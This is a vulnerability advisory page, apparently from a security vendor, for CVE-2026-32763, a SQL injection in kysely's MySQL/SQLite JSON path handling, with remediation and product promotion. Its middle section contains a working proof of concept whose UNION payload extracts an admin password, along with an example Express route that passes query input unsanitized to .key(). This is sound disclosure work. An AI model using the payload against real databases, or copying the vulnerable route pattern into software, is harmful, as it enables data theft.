CVE-2026-32763

CVE-2026-32763 is a high-severity SQL injection vulnerability in kysely (npm), affecting versions >= 0.26.0, <= 0.28.11. It is fixed in 0.28.12.

Summary

Kysely through 0.28.11 has a SQL injection vulnerability in JSON path compilation for MySQL and SQLite dialects. The visitJSONPathLeg() function appends user-controlled values from .key() and .at() directly into single-quoted JSON path string literals ('$.key') without escaping single quotes. An attacker can break out of the JSON path string context and inject arbitrary SQL.

This is inconsistent with sanitizeIdentifier(), which properly doubles delimiter characters for identifiers, both are non-parameterizable SQL constructs requiring manual escaping, but only identifiers are protected.

Details

visitJSONPath() wraps JSON path in single quotes ('$...'), and visitJSONPathLeg() appends each key/index value via this.append(String(node.value)) with no sanitization:

// dist/cjs/query-compiler/default-query-compiler.js
visitJSONPath(node) {
    if (node.inOperator) {
        this.visitNode(node.inOperator);
    }
    this.append("'$");
    for (const pathLeg of node.pathLegs) {
        this.visitNode(pathLeg);        // Each leg appended without escaping
    }
    this.append("'");
}
visitJSONPathLeg(node) {
    const isArrayLocation = node.type === 'ArrayLocation';
    this.append(isArrayLocation ? '[' : '.');
    this.append(String(node.value));    // <-- NO single quote escaping
    if (isArrayLocation) {
        this.append(']');
    }
}

Contrast with sanitizeIdentifier() in the same file, which properly doubles delimiter characters:

sanitizeIdentifier(identifier) {
    const leftWrap = this.getLeftIdentifierWrapper();
    const rightWrap = this.getRightIdentifierWrapper();
    let sanitized = '';
    for (const c of identifier) {
        sanitized += c;
        if (c === leftWrap) { sanitized += leftWrap; }
        else if (c === rightWrap) { sanitized += rightWrap; }
    }
    return sanitized;
}

Both identifiers and JSON path keys are non-parameterizable SQL constructs that require manual escaping. Identifiers are protected; JSON path values are not.

PostgreSQL is not affected. The branching happens in JSONPathBuilder.#createBuilderWithPathLeg() (json-path-builder.js):

  • MySQL/SQLite operators (->$, ->>$) produce a JSONPathNode traversal → visitJSONPathLeg() concatenates the key directly into a single-quoted JSON path string ('$.key'), vulnerable, no escaping.
  • PostgreSQL operators (->, ->>) produce a JSONOperatorChainNode traversal → ValueNode.createImmediate(value)appendImmediateValue()appendStringLiteral()sanitizeStringLiteral() doubles single quotes ('''), generating chained operators ("col"->>'city'). Injection payload becomes a harmless string literal.

Same .key() call, different internal node creation depending on the operator type. The PostgreSQL path reuses the existing string literal sanitization; the MySQL/SQLite JSON path construction bypasses it entirely.

PoC

End-to-end proof against a real SQLite database (Kysely 0.28.11 + better-sqlite3):

const Database = require('better-sqlite3');
const { Kysely, SqliteDialect } = require('kysely');

const sqliteDb = new Database(':memory:');
sqliteDb.exec(`
  CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, profile TEXT);
  INSERT INTO users VALUES (1, 'alice', '{"city": "Seoul", "age": 30}');
  INSERT INTO users VALUES (2, 'bob', '{"city": "Tokyo", "age": 25}');
  CREATE TABLE admin (id INTEGER PRIMARY KEY, password TEXT);
  INSERT INTO admin VALUES (1, 'SUPER_SECRET_PASSWORD_123');
`);

const db = new Kysely({ dialect: new SqliteDialect({ database: sqliteDb }) });

async function main() {
  // Safe usage
  const safe = await db
    .selectFrom('users')
    .select(eb => eb.ref('profile', '->>$').key('city').as('city'))
    .execute();
  console.log("Safe:", safe);
  // [ { city: 'Seoul' }, { city: 'Tokyo' } ]

  // Injection via .key(), exfiltrate admin password
  const malicious = `city' as "city" from "users" UNION SELECT password FROM admin -- `;
  const attack = await db
    .selectFrom('users')
    .select(eb => eb.ref('profile', '->>$').key(malicious).as('city'))
    .execute();
  console.log("Injected:", attack);
  // [ { city: 'SUPER_SECRET_PASSWORD_123' }, { city: 'Seoul' }, { city: 'Tokyo' } ]
}
main();

The payload includes as "city" from "users" to complete the first SELECT before the UNION. The -- comments out the trailing ' as "city" from "users" appended by Kysely.

Generated SQL:

select "profile"->>'$.city' as "city" from "users" UNION SELECT password FROM admin -- ' as "city" from "users"

Realistic application pattern

app.get('/api/products', async (req, res) => {
  const field = req.query.field || 'name';
  const products = await db
    .selectFrom('products')
    .select(eb => eb.ref('metadata', '->>$').key(field).as('value'))
    .execute();
  res.json(products);
});

Dynamic JSON field selection is a common pattern in search APIs, GraphQL resolvers, and admin panels that expose JSON column data.

Impact

SQL Injection (CWE-89), An attacker can inject arbitrary SQL via crafted JSON key names passed to .key() or .at(), enabling UNION-based data exfiltration from any database table. MySQL and SQLite dialects are affected. PostgreSQL is not affected.

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

CVE-2026-32763 has a CVSS score of 8.2 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.28.12); upgrading removes the vulnerable code path.

Affected versions

kysely (>= 0.26.0, <= 0.28.11)

Security releases

kysely → 0.28.12 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Escape single quotes in JSON path values within visitJSONPathLeg(), similar to how sanitizeIdentifier() doubles delimiter characters. Alternatively, validate that JSON path keys contain only safe characters. The direction of the fix is left to the maintainers.

Frequently Asked Questions

  1. What is CVE-2026-32763? CVE-2026-32763 is a high-severity SQL injection vulnerability in kysely (npm), affecting versions >= 0.26.0, <= 0.28.11. It is fixed in 0.28.12. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
  2. How severe is CVE-2026-32763? CVE-2026-32763 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of kysely are affected by CVE-2026-32763? kysely (npm) versions >= 0.26.0, <= 0.28.11 is affected.
  4. Is there a fix for CVE-2026-32763? Yes. CVE-2026-32763 is fixed in 0.28.12. Upgrade to this version or later.
  5. Is CVE-2026-32763 exploitable, and should I be worried? Whether CVE-2026-32763 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-32763 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-32763? Upgrade kysely to 0.28.12 or later.

Other vulnerabilities in kysely

CVE-2026-33468CVE-2026-33442CVE-2026-32763

Stop the waste.
Protect your environment with Kodem.